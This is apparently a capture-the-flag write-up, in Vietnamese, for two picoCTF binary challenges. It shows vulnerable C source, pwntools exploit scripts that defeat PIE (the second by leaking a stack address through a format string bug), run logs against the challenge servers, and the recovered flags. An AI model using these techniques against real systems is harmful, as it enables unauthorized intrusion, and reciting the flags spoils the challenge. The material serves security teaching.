pwn - PIE TIME 12
Can you try to get the flag? Beware we have PIE! | Can you try to get the flag? I'm not revealing anything anymore!!
PIE TIME (Easy)
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}Mitigation

Solve
Do PIE được bật, ta có thể tính được base address của binary bằng cách lấy runtime address của main() được in ra trừ đi static address của main trong ELF.
Từ đó có thể tính được runtime address của win() bằng cách cộng base address của binary với static address của win().
Nhập runtime address của win() vào val để foo trỏ đến win() và thực thi nó.
Script
from pwn import *
p = remote('rescued-float.picoctf.net', 53053)
e = ELF('./vuln')
p.recvuntil(b': ')
runtime_main = int(p.recvline().strip(), 16)
static_main = e.symbols['main']
base = runtime_main - static_main
static_win = e.symbols['win']
runtime_win = base + static_win
p.sendline(hex(runtime_win).encode())
print(p.recvall().decode())┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to rescued-float.picoctf.net on port 53053: Done
[*] '/home/hungnt/Desktop/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Receiving all data: Done (126B)
[*] Closed connection to rescued-float.picoctf.net port 53053
Enter the address to jump to, ex => 0x12345: Your input: 5a25bde6a2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_f8845f06}PIE TIME 2 (Medium)
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}Mitigation

Solve
Do PIE được bật, ta cần phải leak runtime address của thứ gì đó để tính được base address của binary, rồi từ đó tính ra runtime address của win() nhập vào val để chuyển luồng thực thi tới đó.
Ta thấy buffer được nhập bởi user và sử dụng làm format string trong printf, có thể dẫn đến Format String Bug

Ta sẽ lợi dụng FSB để lấy ra runtime address của main+65 trong stack:

Theo calling convention của SYSTEM V ABI, đối số thứ 7 (index 6) trở đi sẽ nằm trên stack. Vậy địa chỉ của main+65 sẽ nằm tại index 19.
Script
from pwn import *
p = remote('rescued-float.picoctf.net', 53785)
e = ELF('./vuln')
p.sendlineafter(b':', b'%19$llu')
runtime_main_65 = int(p.recvline().strip())
base = runtime_main_65 - (e.symbols['main'] + 65)
runtime_win = base + e.symbols['win']
p.sendlineafter(b': ', hex(runtime_win).encode())
print(p.recvall().decode())┌──(hungnt㉿kali)-[~/Desktop]
└─$ py solve.py
[+] Opening connection to rescued-float.picoctf.net on port 53785: Done
[*] '/home/hungnt/Desktop/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Receiving all data: Done (47B)
[*] Closed connection to rescued-float.picoctf.net port 53785
You won!
picoCTF{p13_5h0u1dn'7_134k_9d4030a3}